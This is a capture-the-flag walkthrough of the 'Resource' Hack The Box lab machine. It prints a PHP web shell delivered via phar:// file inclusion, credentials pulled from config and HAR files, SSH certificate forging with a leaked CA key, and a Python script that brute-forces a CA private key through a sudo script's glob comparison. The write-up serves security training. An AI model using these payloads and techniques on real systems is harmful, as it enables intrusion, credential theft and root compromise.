Machine Card listing Resource as a hard Linux box

Reconnaissance

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)
|_  256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan with nmap found two SSH ports and this is especially odd because they have different version numbers. Most likely one of the ports is bound to some kind of virtual machine or container. There’s already a redirect to itrc.ssg.htb and therefore I add this and the base domain to my /etc/hosts file.

HTTP

Webpage showing the SSG IT Resource Center with buttons to register and login

Browsing to itrc.ssg.htb shows the landing page for the Strategic Solutions Group (SSG) Resource Center. There’s a button to register and for the login. Registering a new account works and I can login. On the dashboard I have access to all my tickets and could create a new one.

Form for a new ticket. Requires a subject and issue and adding ZIP attachments seems possible

I add dummy data for the subject and issue but provide a valid ZIP file for the creation of a ticket. Upon submitting I’m redirected to the dashboard and can see my newly created ticket there. Clicking on it shows the details of said ticket including the uploaded file. Hovering over the link reveals that it was uploaded to http://itrc.ssg.htb/uploads/d4750cee675af579940d63e2a174f8430bdfa937.zip.

Details of the previously created ticket with the name and link to the ZIP file highlighted

Execution

Having a look at the current URL and I can see http://itrc.ssg.htb/?page=ticket&id=9 and whenever I see navigation based on a parameter (here: page) I test for local file inclusion. Based on the X-Powered-By: PHP/8.1.29 header and the fact that /index.php returns a 200 status code, I can infer that a .php extension is probably added to the value of the page parameter, so including any none PHP files is not feasible.

Since I’m able to upload ZIP files, I’ll try to use the zip://1 and phar://2 filters. For this I prepare a payload in a PHP file and then add that file to a zip before uploading it via a new ticket.

cat shell.php
<?php
    system($_REQUEST['cmd']);
?>
 
zip ryuki.zip shell.php
  adding: shell.php (stored 0%)

I already know the likely path to the file and to access the files within the ZIP file, # has to be used for zip:// and / for phar://. Then I obviously have to remove the .php since it will be added by the page parameter logic. # is also used as URL fragment and therefore has to be url-encoded.

zip://uploads/26e3dba6420a0a2dfe0dbd7399c986ba3edf3186.zip%23shell&cmd=ls
phar://uploads/26e3dba6420a0a2dfe0dbd7399c986ba3edf3186.zip/shell&cmd=ls

The zip filter does not work, but using the phar:// payload as value for the page parameter returns the output of the ls command. Then replace ls with a reverse shell payload and receive a callback as www-data.

Showing the phar filter payload in the URL and the outputs of the ls command on the webpage

Privilege Escalation

Shell as msainristil

The shell drops me right into the directory /var/www/itrc containing the source code of the web application. One of the files there is called db.php and has the credentials for the MySQL database: jj:ugEG5rR5SG8uPd.

/var/www/itrc/db.php
<?php
 
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);
 
try {
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Connection failed: " . $e->getMessage());

The database is not listening on localhost but is accessible at host db. Pinging this reveals the IP 172.223.0.2 and the hostname resource-db.docker_resource. There are three tables within the resourcecenter database and the users table contains usernames and hashed passwords. Unfortunately none of those crack with rockyou.txt.

mysql -u jj -p -h db
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 42
Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution
 
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
MariaDB [(none)]> use resourcecenter
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
MariaDB [resourcecenter]> show tables;
+--------------------------+
| Tables_in_resourcecenter |
+--------------------------+
| messages                 |
| tickets                  |
| users                    |
+--------------------------+
3 rows in set (0.001 sec)
 
MariaDB [resourcecenter]> select * from users;
+----+-------------+--------------------------------------------------------------+-------+------------+
| id | user        | password                                                     | role  | department |
+----+-------------+--------------------------------------------------------------+-------+------------+
|  1 | zzinter     | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 | admin | NULL       |
|  2 | msainristil | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 | admin | NULL       |
|  3 | mgraham     | $2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2 | user  | NULL       |
|  4 | kgrant      | $2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm | user  | NULL       |
|  5 | bmcgregor   | $2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq | user  | NULL       |
|  9 | ryuki       | $2y$10$I8r28YyJBD4UO6xOG08HEuLeLBdKIZlGZCTcwQQuruSZMhxHlYtNe | user  | NULL       |
+----+-------------+--------------------------------------------------------------+-------+------------+
6 rows in set (0.000 sec)

Besides the ZIP files I’ve uploaded, there are additional ones within the uploads directory. c2f4813259cc57fab36b311c5058cf031cb6eb51.zip is way larger than the rest, so I’ll start with this and have a peek inside. Unzipping the file returns just one har file, a JSON-formatted archive that is used by web browsers to store the network activity.

ls -la /var/www/itrc/uploads/
total 1164
drwxrwxr-x 1 www-data www-data    4096 Oct 19 16:52 .
drwxr-xr-x 1 www-data www-data    4096 Feb 19  2024 ..
-rw-r--r-- 1 www-data www-data     155 Oct 19 16:52 26e3dba6420a0a2dfe0dbd7399c986ba3edf3186.zip
-rw-rw-r-- 1 www-data www-data 1162513 Feb  6  2024 c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
-rw-r--r-- 1 www-data www-data     157 Oct 19 16:20 d4750cee675af579940d63e2a174f8430bdfa937.zip
-rw-rw-r-- 1 www-data www-data     634 Feb  6  2024 e8c6575573384aeeab4d093cc99c7e5927614185.zip
-rw-rw-r-- 1 www-data www-data     275 Feb  6  2024 eb65074fe37671509f24d1652a44944be61e4360.zip
 
unzip -d /dev/shm/ c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
inflating: /dev/shm//itrc.ssg.htb.har

Those files can contain sensitive information since everything send to and received by servers is logged, including passwords. Grepping for pass and removing javascript files from the output returns the password 82yards2closeit for user msainristil.

grep itrc.ssg.htb.har pass | grep -v .js 
            "text": "user=msainristil&pass=82yards2closeit",
                "name": "pass",

Shell as zzinter / root (container)

The home directory of user msainristil contains the folder decommision_old_ca with the private and public SSH key of the certificate authority ITRC Certificate CA.

ls -la decommission_old_ca/
total 20
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 .
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
-rw------- 1 msainristil msainristil 2602 Jan 24  2024 ca-itrc
-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub

Instead of placing a public key into the .authorized_keys file, it is also possible to sign a SSH key with a valid CA instead3. Besides root there’s also zzinter mentioned in the /etc/passwd file and I decide to create a key that is valid for both users.

First I create a new key with ssh-keygen and then follow that up by calling it again to sign my public key. This allows me to use the key to login as root and zzinter (with access to the first flag).

ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/msainristil/.ssh/id_ed25519): ryuki
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ryuki
Your public key has been saved in ryuki.pub
The key fingerprint is:
SHA256:99s3cysHkX5/m63x5SJwzyH/bUcm/w4GXVhPgcdYGtg msainristil@itrc
The key's randomart image is:
+--[ED25519 256]--+
|            o.=o+|
|           . Eo*.|
|             .+ o|
|             + . |
|        S . o o  |
|         ...o+o.o|
|           o.=**o|
|            .==O&|
|            ..=@^|
+----[SHA256]-----+
 
ssh-keygen -s decommission_old_ca/ca-itrc \
           -I example \
           -n zzinter,root \
           ./ryuki.pub

Shell as support

Within the home directory of user zzinter there’s a script called sign_key_api.sh. It asks for a public key, a username, and a principal. Then it does check whether the principal is one of webserver, analytics, support and security. Finally it calls an endpoint on signserver.ssg.htb to sign the provided public key.

sign_key_api.sh
#!/bin/bash
 
usage () {
    echo "Usage: $0 <public_key_file> <username> <principal>"
    exit 1
}
 
if [ "$#" -ne 3 ]; then
    usage
fi
 
public_key_file="$1"
username="$2"
principal_str="$3"
 
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done
 
if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi
 
public_key=$(cat $public_key_file)
 
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

As far as I can see there are no auth_principals defined within the /etc/ssh folder. This probably means that those signed key are used for the other SSH port. Running uname -a reveals that it’s Ubuntu and hashing one of the hosts keys and comparing it with the hash from the initial nmap scan confirms that this container is listening on port 22.

ssh-keygen -E md5 -lf /etc/ssh/ssh_host_ed25519_key.pub 
256 MD5:e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 root@buildkitsandbox (ED25519)

On my host I create another SSH key pair and then try my luck with the curl command from the script with different variations based on the usernames and principals in the script.

ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/ryuki/.ssh/id_ed25519): support
Enter passphrase for "support" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in support
Your public key has been saved in support.pub
The key fingerprint is:
SHA256:af9s9rR1mAkkj89m7jcH9mh28X8aGVnTw3o7a9QO1zU ryuki@caliban
The key's randomart image is:
+--[ED25519 256]--+
|                 |
|              . .|
|          . .  +o|
|         . =  .E+|
|        S . o.o.=|
|       . . o .=O=|
|          . =.OX=|
|           *o.*=@|
|           +===*+|
+----[SHA256]-----+
 
ls -la support*
-rw------- 1 ryuki ryuki 399 Oct 20 10:36 support
-rw-r--r-- 1 ryuki ryuki  95 Oct 20 10:36 support.pub
 
curl -s signserv.ssg.htb/v1/sign \
     -d '{"pubkey": "'"$(cat support.pub)"'", "username": "support", "principals": "support"}' \
     -H "Content-Type: application/json" \
     -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
     | tee support-cert.pub
ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAIJRprucNigVOeC/dpuW47e1vrtjYASps+5x5FFBm9BsZAAAAIAEFQKqO4+jhbHadfzmUMKGngGmtuH476H6JNLSieDNFAAAAAAAAAC8AAAABAAAAB3N1cHBvcnQAAAALAAAAB3N1cHBvcnQAAAAAZwuHP///////////AAAAAAAAAIIAAAAVcGVybWl0LVgxMS1mb3J3YXJkaW5nAAAAAAAAABdwZXJtaXQtYWdlbnQtZm9yd2FyZGluZwAAAAAAAAAWcGVybWl0LXBvcnQtZm9yd2FyZGluZwAAAAAAAAAKcGVybWl0LXB0eQAAAAAAAAAOcGVybWl0LXVzZXItcmMAAAAAAAAAAAAAADMAAAALc3NoLWVkMjU1MTkAAAAggeDwK53LVKHJh+rMLcA2WABxbtDgyhm57MATyY0VKbEAAABTAAAAC3NzaC1lZDI1NTE5AAAAQN+qP1BJCp4Zz1f8Wkv4/LweR/AuZ0gQxbosXVUibhgfStbmkyF6MVJVIB5Dvi/W/peU5eteFXkEqdctYVsgtQ0= 

Eventually I find a solution and can log in with a key signed for user support and principal support. In order to supply the generated certificate I have to set the CertificateFile parameter as an option4 and use the alternative port 2222.

ssh -o CertificateFile=support-cert.pub \
    -i support \
    -p 2222 \
    support@ssg.htb

Shell as zzinter

With the shell on the host system, I check /etc/ssh/auth_principals for other valid principals and find three: root, support and zzinter. Obviously root is the first thing I try but only receive an error message because the root access must be granted manually.

cat /etc/ssh/auth_principals/zzinter 
zzinter_temp
 
cat /etc/ssh/auth_principals/support 
support
root_user
 
cat /etc/ssh/auth_principals/root 
root_user

The zzinter user uses the zzinter_temp principal and after repeating the previous steps to generate another key, I can use the certificate to login.

ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/ryuki/.ssh/id_ed25519): zzinter
Enter passphrase for "zzinter" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in zzinter
Your public key has been saved in zzinter.pub
The key fingerprint is:
SHA256:Ag1krv9/91+KsWx7iyzl0pPW0qVHgL3c4yV+S16o0oY ryuki@caliban
The key's randomart image is:
+--[ED25519 256]--+
|   .+            |
|   o o           |
|    o .      o   |
|   . .      . o  |
|  .   . S    . + |
|   .   .    . +o=|
|    .      *.=o*=|
|     .    Eo%*Oo=|
|      .... OO*+Bo|
+----[SHA256]-----+
 
curl -s signserv.ssg.htb/v1/sign \
     -d '{"pubkey": "'"$(cat zzinter.pub)"'", "username": "zzinter", "principals": "zzinter_temp"}' \
     -H "Content-Type: application/json" \
     -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE" \
     | tee zzinter-cert.pub
ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAIH3K7DqRQzQskNTr75U6SERIpByGK+Aj3R9Vi3TVokeuAAAAIK9+vWNDbBCXhbwNmp5ScKbge+yhHpNk9O0SqWRz1CUEAAAAAAAAADEAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABnC5Xt//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABADCAXlOtH/zwoTtDtpH6MvN1grWS4FRbRtSa4gVUIl1hfvBGkuBQJjwBT77f2Py5OB7z1JBN2JQvSrqPz656TCQ==
 
ssh -o CertificateFile=zzinter-cert.pub \
    -i zzinter \
    -p 2222 \
    zzinter@ssg.htb

Shell as root

Checking the sudo privileges for zzinter I can see that running /opt/sign_key.sh is possible without supplying a password. I have also read access, so I’ll check the contents.

/opt/sign_key.sh
#!/bin/bash
 
usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}
 
if [ "$#" -ne 5 ]; then
    usage
fi
 
ca_file="$1"
public_key_file="$2"
username="$3"
principal_str="$4"
serial="$5"
 
if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi
 
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi
 
if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi
 
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done
 
if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi
 
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"

The script takes a few parameters, most notably the path to a file with the certificate authority, checks if that file exists and then compares it with the contents of /etc/ssh/ca-it. In case they match an error is printed and the execution stops. The rest of the script is similar to the one previously found.

I assume that this is the CA responsible to sign all the SSH keys. If I know the contents of ca-it, I can sign any key and log in as root. Since the contents of that file and one that I can provide are compared, I can use this to bruteforce the contents one character at the time by using *.

brute.py
import string
import os
 
alphabet = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/' + '\n' + '-= '
CA_FILE='/tmp/ca'
 
CA_CONTENT="""-----BEGIN OPENSSH PRIVATE KEY-----
"""
 
def is_valid():
    output = os.popen(f'sudo -u root /opt/sign_key.sh {CA_FILE} xxx root root_user 12345').read()
    return 'Error: Use API for signing with this CA.' in output
 
while not CA_CONTENT.endswith('-----END OPENSSH PRIVATE KEY----'):
    for s in alphabet:
        with open(CA_FILE, 'w') as f:
            f.write(CA_CONTENT + s + '*')
 
        if is_valid():
            CA_CONTENT = CA_CONTENT + s
            break
    else:
        print('Did not find a match in alphabet...')
        break
print(CA_CONTENT) 

The script runs for some time but eventually outputs the contents of the certificate authority. Then I use this so sign my SSH key for root and login to collect the final flag.

python3 brute.py
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
QBAgM=
-----END OPENSSH PRIVATE KEY----
 
ssh-keygen -s ca.pem \
           -z 123 \
           -I root \
           -V \
           -1w:forever \
           -n "root_user" \
           root.pub 
Signed user key root-cert.pub: id "root" serial 123 for root_user valid after 2024-10-13T17:00:57
 
ssh -i root root@localhost -p 2222

Attack Path

flowchart TD

subgraph "Execution"
    A(Access to Ticket System) --> B(Upload ZIP attachment)
    B -->|phar:// PHP filter| C(Shell as www-data)
end

subgraph "Privilege Escalation"
    C -->|Credentials in HAR file| D(Shell as msainristil)
    D -->|Backup CA + Signing of SSH key| E(Shell as root in container)
    E -->|Script to sign keys on subdomain| F(Shell as support)
    F -->|Find valid principals| G(Shell as zzinter)
    G -->|Bruteforce CA private key| H(Sign SSH key for root)
    H --> I(Shell as root)
end

Footnotes

  1. File Inclusion/Path traversal

  2. File Operation Induced Unserialization via the “phar://” Stream Wrapper

  3. Create a Simple SSH Certificate Authority

  4. ssh(1) — Linux manual page